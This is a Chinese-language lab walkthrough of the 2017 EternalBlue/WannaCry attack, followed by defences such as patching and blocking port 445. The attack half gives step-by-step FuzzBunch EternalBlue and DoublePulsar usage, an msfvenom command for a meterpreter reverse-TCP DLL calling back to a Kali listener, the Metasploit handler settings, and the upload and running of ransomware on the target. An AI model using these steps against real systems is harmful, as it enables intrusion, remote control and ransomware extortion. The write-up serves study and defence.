17年5月13日，不法分子利用NSA黑客武器库泄露的「永恒之蓝」发起比特币病毒攻击事件。「永恒之蓝」会扫描开放445文件共享埠的Windows机器，植入勒索软体。由于以前国内多次爆发利用445埠传播的蠕虫，运营商已对个人用户封掉445埠，但教育网还没有此限制，所以教育网是受攻击的重灾区！我们针对此病毒，解密其制造过程。

注：此报告仅为科学研究，乱造病毒可不是闹著玩。根据中华人民共和国刑法第二百八十六条 违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役；后果特别严重的，处五年以上有期徒刑。

永恒之蓝工具分析报告

环境

攻击机1Win7 32位 专业版SP1192.168.61.133

攻击机2 kali2192.168.61.128

靶机win7 64位 旗舰版SP1192.168.61.129

实验准备

攻击机1安装

python-2.6.6.msi

python.org/download/rel

pywin32-221.win32-py2.6.exe

sourceforge.net/project

下载方程式工具包并解压

开启靶机，靶机可以不关防火墙，甚至可以安装杀毒软体，但不能打上对应补丁

实验步骤

攻击机1进入工具目录，运行fb.py

输入靶机IP 192.168.61.129

输入攻击者IP 192.168.61.133

No 不启动重定向

No 不需要开启日志

4 创建新工程

Uenit_test 输入工程名

Use Eternalblue

然后是一路回车，因为全是默认配置

确认一下启动

由于启用了fuzzbunch扩展，失败了会自动多次尝试，有时候是一次就成功。

然后是另一个攻击模块的配合使用Doublepulsar

同样的全回车

直到选系统选择64位的

选择攻击方式选运行dll

接下去要选择dll路径，然而我们还没有，就先放一边

开启攻击机2 kali，用来生成dll

msfvenom -p

windows/x64/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=9999 -f dll >/root/桌面/uenit_attack.dll

桌面目录下多了一个uenit_attack.dll，将其拷贝到攻击机1目录下

然后开启监听

msfconsole

msf > use

exploit/multi/handler

msf > set

LHOST 192.168.61.128

msf > set

LPORT 9999

msf > set

PAYLOAD windows/x64/meterpreter/reverse_tcp

msf > exploit

再回到攻击机1，已经将之前kali上的uenit_attack.dll拷贝到c：根目录下

然后输入dllpayload地址为 C:\uenit_attack.dll

再一路回车

确认后开始

成功以后返回kali查看，已近反弹回shell了。

Ipconfig

Dir

可以看到当前目录在c:windowssystem32

我们在当前创建一个目录并进入

然后上传我们的exe，比如勒索软体

在靶机上的对于目录里，我们发现了上传上去的可执行程序

如下是当前靶机的界面

在攻击机中运行刚才上传的勒索软体

跳出了勒索软体界面

并且发现勒索软体加密了所有文档和图片，以及修改了壁纸。

防御方法

360nsa工具防御

然后就被要求安装360安全卫士，接著就是打补丁，打上补丁一切就安全了

也可以自行打上微软补丁

technet.microsoft.com/z下载自己对应版本的补丁即可，查看自己系统版本，可在「我的电脑」或「计算机」上右键—属性即可

也有小伙伴希望自食其力，自己关闭埠

在开始菜单中选择「运行」或者win+r同时按呼出「运行」

输入gpedit.Msc呼出本地策略组编辑器

双击计算机配置

Windows设置

安全设置

IP安全策略

右键空白处，选择创建IP策略

根据指示点击下一步

为策略命名后点击下一步

点击添加规则

为规则命名后点击添加

目标地址下拉选择「我的IP地址」，点击协议

协议下拉选择TCP，选择到此埠选择，填写445。

点击确定返回IP筛选器列表

点击确定返回新规则属性，点选关闭445这一规则

切换到筛选器操作栏目

点击添加操作

点选阻止

在常规选项卡可以给这一操作命名，然后点确定

在这一策略上右键点击选择「分配」

我们验证下这一方法是否可行，再次用Eterblue工具攻击，得到

证实关闭445埠起作用了，一条关闭从外界到445埠数据的链路就被完全阻断了，为了防止nsa更多工具的攻击，需要关闭的埠还有135、137、138、139。

结语

目前，网路安全问题日益突出，勒索病毒也并不是首次出现，但是只要我们提高网路安全意识，及时打上系统补丁，注意杀毒软体的推送补丁，就能防范于未然。


推荐阅读：
相关文章